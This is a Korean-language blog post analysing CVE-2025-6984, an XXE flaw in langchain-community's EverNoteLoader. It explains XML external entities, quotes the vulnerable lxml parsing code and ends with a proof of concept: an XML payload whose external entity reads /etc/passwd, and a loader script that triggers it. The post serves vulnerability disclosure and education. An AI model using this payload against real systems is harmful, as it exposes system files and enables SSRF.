[CVE-2025-6984] langchain XXE vuln

Kim Myeong Hyun·2025년 9월 12일

1-day

목록 보기
1/1
post-thumbnail

Keyword : XXE, EverNoteLoader, XML

Vuln Description

langchain-ai/langchain-communityevernote.py 에서 문서 로더로 EverNoteLoader를 사용함.

해당 로더는 langchain-ai/langchain-community 의 종속 문서 로더로 XML파싱을 지원.

etree.iterparse() 호출 시에 외부 엔티티 참조를 비활성화하지 않기 때문에 XEE 취약점이 발생.

Vuln Version

langchain-ai/langchain-community 0.3.63

What is XXE vuln

XXE(XML eXternal Entity) 취약점은 XML 데이터를 제대로 검증하지 않아 공격자가 XML 데이터를 가져올 때 시스템의 중요한 파일이 조회 가능한 취약점임. (Security Misconfiguration)

About XML

XML Def.

  • W3C에서 개발된, 마크업언어를 만드는데 사용하는 다목적 마크업 언어로 응용프로그램에서 문서를 유연하게 전송하고 저장하도록 설계된 언어를 말함.

XML Keywords

  • Markup&content : XML은 마크업(< , > , &, ;)과 내용(마크업제외 문자)으로 구성된다.
  • Tag : <element> ← 이런 마크업 구조를 tag라고 함.
  • Entity : XML 변수로 ‘&’, ‘;’ 로 감싸져 있음. (&today;)
  • 등등

XML DTD

  • XML DTD(Document Type Definition)는 XML 문서의 구조, 포함될 수 있는 데이터 값, 유형 및 기타 항목을 정의할 수 있음.
  • DTD는 문서 자체 내에 완전히 자체적으로 정의(내부 DTD)하거나 다른 곳에서 로드하는 외부 DTD 방식 모두를 사용할 수 있음

XML External Entity

  • XML 외부 엔티티는 선언된 DTD 외부에 정의가 있는 사용자 지정 엔티티 유형을 말함
  • 외부 엔티티 선언에는 키워드를 사용하며 SYSTEM 엔터티를 사용해 URL을 지정할 수 있음(해당 CVE 발생 포인트)

Vuln Details

Attack surface(code)

langchain_community.document_loaders.evernote.EverNoteLoader.lazy_load

# langchain_community/document_loaders/evernote.py
def _lazy_load(self) -> Iterator[Document]:
    for note in self._parse_note_xml(self.file_path):  # here is call _parse_note_xml()
        if note.get("content") is not None:
            yield Document(
                page_content=note["content"],
                metadata={
                    **{
                        key: value
                        for key, value in note.items()
                        if key not in ["content", "content-raw", "resource"]
                    },
                    **{"source": self.file_path},
                },
            )
# langchain_community/document_loaders/evernote.py
 @staticmethod
    def _parse_note_xml(xml_file: str) -> Iterator[Dict[str, Any]]:
        """Parse Evernote xml."""
        # Without huge_tree set to True, parser may complain about huge text node
        # Try to recover, because there may be "&nbsp;", which will cause
        # "XMLSyntaxError: Entity 'nbsp' not defined"
        try:
            from lxml import etree
        except ImportError as e:
            logger.error(
                "Could not import `lxml`. Although it is not a required package to use "
                "Langchain, using the EverNote loader requires `lxml`. Please install "
                "`lxml` via `pip install lxml` and try again."
            )
            raise e

        context = etree.iterparse(
            xml_file, encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True
        ) #외부 엔티티 비활성화 X

        for action, elem in context:
            if elem.tag == "note":
                yield EverNoteLoader._parse_note(elem)

Reasons for Vulnerability

https://lxml.de/api/lxml.etree.iterparse-class.html

Available boolean keyword arguments:
	attribute_defaults: read default attributes from DTD
	dtd_validation: validate (if DTD is available)
	load_dtd: use DTD for parsing
	no_network: prevent network access for related files
	remove_blank_text: discard blank text nodes
	remove_comments: discard comments
	remove_pis: discard processing instructions
	strip_cdata: replace CDATA sections by normal text content (default: True)
	compact: safe memory for short text content (default: True)
	resolve_entities: replace entities by their text value (default: True)
	huge_tree: disable security restrictions and support very deep trees
	and very long text content (only affects libxml2 2.7+)
	html: parse input as HTML (default: XML)
	recover: try hard to parse through broken input (default: True for HTML,
	False otherwise)
Other keyword arguments:
	encoding: override the document encoding
	schema: an XMLSchema to validate against

취약한 코드에서 사용한 arguments는 encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True

  1. resolve_entities argument는 엔티티를 치환해주는 argument로, 기본 값이 True
  2. huge_tre=True 엔티티 확장 제한(보안제한) 허용

즉, resolve_entities를 False로 명시하지 않아 XML에 외부 엔티티 선언시 그대로 확장/로딩 하여 가져와 /etc/passwd를 SYSTEM 엔터티로 로드할 수 있어 취약점 발생

Proof of Concept(PoC)

//payload.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<note>
    <content>&example;</content>
</note>
# 서버가 해당 코드로 XML을 파싱할 때 취약점이 트리거 됨.
from langchain_community.document_loaders import EverNoteLoader

if __name__ == "__main__":
    loader = EverNoteLoader(
        "./payload.xml"
    )
    print(loader.load())

Impact

공격자가 로컬 파일 참조 혹은 SSRF를 악용하는 악성 XML 페이로드를 제작하여 비인가 데이터 노출을 유발할 수 있음.

profile
Hi, I'm KiMH

0개의 댓글